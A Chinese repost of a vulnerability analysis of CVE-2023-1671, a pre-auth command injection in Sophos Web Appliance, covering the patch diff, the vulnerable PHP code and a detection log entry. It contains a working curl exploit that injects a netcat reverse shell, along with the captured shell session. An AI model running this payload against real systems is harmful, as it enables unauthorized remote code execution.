Sophos Web Appliance 中的预授权远程代码执行漏洞。

作者:Sec-Labs | 发布时间:

项目地址

https://github.com/ohnonoyesyes/CVE-2023-1671

POC

curl -k --trace-ascii % "https://192.168.56.108/index.php?c=blocked&action=continue" -d "args_reason=filetypewarn&url=$RANDOM&filetype=$RANDOM&user=$RANDOM&user_encoded=$(echo -n "';nc -e /bin/sh 192.168.56.1 4444 #" | base64)"


#snip
=> Send header, 184 bytes (0xb8)
0000: POST /index.php?c=blocked&action=continue HTTP/1.1
0034: Host: 192.168.56.108
004a: User-Agent: curl/7.88.1
0063: Accept: */*
0070: Content-Length: 120
0085: Content-Type: application/x-www-form-urlencoded
00b6:
=> Send data, 120 bytes (0x78)
0000: args_reason=filetypewarn&url=16625&filetype=5831&user=4525&user_
0040: encoded=JztuYyAtZSAvYmluL3NoIDE5Mi4xNjguNTYuMSA0NDQ0ICM=

原理分析

来源《Analysis of Pre-Auth RCE in Sophos Web Appliance (CVE-2023-1671)》

Sophos Web Appliance的Pre-Auth RCE分析 (CVE-2023-1671)

2023年4月4日,Sophos发布了他们的Web Appliance产品的安全公告。该公告包含有关版本4.3.10.4之前的Sophos Web Appliance的关键漏洞CVE-2023-1671的信息:

通过Sophos bug赏金计划,一位外部安全研究人员向Sophos负责地披露了一项预身份认证命令注入漏洞,允许执行任意代码。

鉴于该漏洞的初始访问特性,VulnCheck决定进行调查。

BLUF:大规模利用不太可能

公告中的注释非常详细地说明了注意事项:

  • Sophos Web Appliance的生命周期结束日期为2023年7月20日
  • Sophos建议通过防火墙保护Sophos Web Appliance,不要通过公共Internet访问
  • Sophos Web Appliance客户无需采取任何操作,因为默认情况下会自动安装更新。

因此,大规模利用的可能性非常低。

分析补丁

/opt/ws/bin/ftsblistpack是一个Perl脚本,调用了另一个Perl脚本/opt/ws/bin/sblistpack。该补丁更改了system函数的调用方式,不再调用shell:

--- unpatched/opt/ws/bin/ftsblistpack   2022-04-08 20:38:49.000000000 -0500
+++ patched/opt/ws/bin/ftsblistpack 2023-03-24 17:08:26.000000000 -0500
@@ -25,7 +25,7 @@
     open my $flag, ">", "$flag_file_dir/$proceeded_flag_file" or die "Open file [$flag_file_dir/$proceeded_flag_file] failed" and $rc++;
     close($flag);

-    $rc += system("$sblistpack '$uri' '$user' '$filetype' '$filein' '$fileout'");
+    $rc += system($sblistpack, $uri, $user, $filetype, $filein, $fileout);
 }

 exit $rc;

请注意未打补丁代码中的单引号参数。这将在后面非常重要。从漏洞点到源码,我们可以看到/opt/ui/apache/htdocs/controllers/UsrBlocked.php脚本用用户提供的参数调用了ftsblistpack脚本:

if($_GET['action'] == 'continue') {

                    if(strlen(trim($_POST['user'])) > 0)
                        $user = base64_decode($_POST['user_encoded']);
                    else
                        $user = $_POST['client-ip'];
                    if($user == '-') $user = $_POST['client-ip'];
                    $user = escapeshellarg($user);
//snip
                        // use sblistpack to allow access
                        if($_POST['args_reason'] == 'filetypewarn') {
                            $key = $_POST['url'];
                            $packer = '/opt/ws/bin/ftsblistpack';
                            $value = $_POST['filetype'];
                        }
                        else {
                            $key = $_POST['domain'];
                            $packer = '/opt/ws/bin/sblistpack';
                            $catParts = explode("|",$_POST['raw_category_id']);
                            $value = $catParts[0];
                        }

                        $key = escapeshellarg($key);
                        $value = escapeshellarg($value);
                        $this->log->write("DEBUG","cmd = '$packer $key $user $value'");
                        $result = shell_exec("$packer $key $user $value 2>&1");

请注意,用户控制的输入仍然要经过PHP的escapeshellarg函数处理,该函数将转义并添加单引号到shell参数。您可能已经看到了这会导致什么问题。

开发一个RCE PoC

利用相对简单。UsrBlocked.php通过/index.php?c=blocked路由,之后提供必需的GETPOST参数。由于user_encoded参数是Base64编码的,因此非常适合我们的命令注入。不需要转义或其他编码!下面演示了执行RCE的完整curl命令:

wvu@kharak:~$ curl -k --trace-ascii % "https://192.168.56.108/index.php?c=blocked&action=continue" -d "args_reason=filetypewarn&url=$RANDOM&filetype=$RANDOM&user=$RANDOM&user_encoded=$(echo -n "';nc -e /bin/sh 192.168.56.1 4444 #" | base64)"
#snip
=> Send header, 184 bytes (0xb8)
0000: POST /index.php?c=blocked&action=continue HTTP/1.1
0034: Host: 192.168.56.108
004a: User-Agent: curl/7.88.1
0063: Accept: */*
0070: Content-Length: 120
0085: Content-Type: application/x-www-form-urlencoded
00b6:
=> Send data, 120 bytes (0x78)
0000: args_reason=filetypewarn&url=16625&filetype=5831&user=4525&user_
0040: encoded=JztuYyAtZSAvYmluL3NoIDE5Mi4xNjguNTYuMSA0NDQ0ICM=

命令注入的工作原理可以通过以下的strace输出最好地说明:

[pid 22283] execve("/bin/sh", ["sh", "-c", "/opt/ws/bin/ftsblistpack '16625' ''\\'';nc -e /bin/sh 192.168.56.1 4444 #' '5831' 2>&1"], [/* 16 vars */]) = 0
[pid 22284] execve("/opt/ws/bin/ftsblistpack", ["/opt/ws/bin/ftsblistpack", "16625", "';nc -e /bin/sh 192.168.56.1 4444 #", "5831"], [/* 16 vars */]) = 0
[pid 22285] execve("/bin/sh", ["sh", "-c", "/opt/ws/bin/sblistpack '16625' '';nc -e /bin/sh 192.168.56.1 4444 #' '5831' '/persist/wsa/ftsblist.in' '/persist/wsa/ftsblist.kvlist'"], [/* 16 vars */]) = 0
[pid 22288] execve("/opt/ws/bin/sblistpack", ["/opt/ws/bin/sblistpack", "16625", ""], [/* 16 vars */]) = 0
[pid 22285] --- SIGCHLD (Child exited) @ 0 (0) ---
[pid 22299] execve("/bin/nc", ["nc", "-e", "/bin/sh", "192.168.56.1", "4444"], [/* 16 vars */]) = 0
[pid 22299] execve("/bin/sh", ["sh"], [/* 16 vars */]) = 0

当将';nc -e /bin/sh 192.168.56.1 4444 #注入ftsblistpack时,输入被包裹在单引号中,导致"经过处理"的输入为'';nc -e /bin/sh 192.168.56.1 4444 #',这将关闭开头的引号,执行一个netcat反向shell,然后注释掉其余的命令行。如果您设置了侦听器,您将可以捕获到shell:

wvu@kharak:~$ rlwrap -rS '$ ' -nH /dev/null ncat -lkv 4444
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
$ Ncat: Connection from 192.168.56.108.
Ncat: Connection from 192.168.56.108:56426.
$ id
uid=1000(spiderman) gid=1000(spiderman) groups=1000(spiderman),16(cron),44(tproxyd),45(wdx)
$ uname -a
Linux foo 3.2.89 #1 SMP Tue Mar 29 00:03:09 UTC 2022 i686 GNU/Linux
$

插入Spider-Man指向meme的图片。

寻找IOC

当HTTP请求返回响应后,/log/ui_access_log文件会附加一行记录:

192.168.56.1 - - [19/Apr/2023:19:46:21 +0000] "POST /index.php?c=blocked&action=continue HTTP/1.1" 302 - "-" "curl/7.88.1"

虽然不多,但这是在寻找利用时要查找的内容。请注意,写入日志条目可能会在命令执行时阻塞。此外,先前的strace输出可用于进程检测。

参考文献

  1. https://www.sophos.com/en-us/security-advisories/sophos-sa-20230404-swa-rce
标签:工具分享, 实战分享, 思路分享, 漏洞分享, POC脚本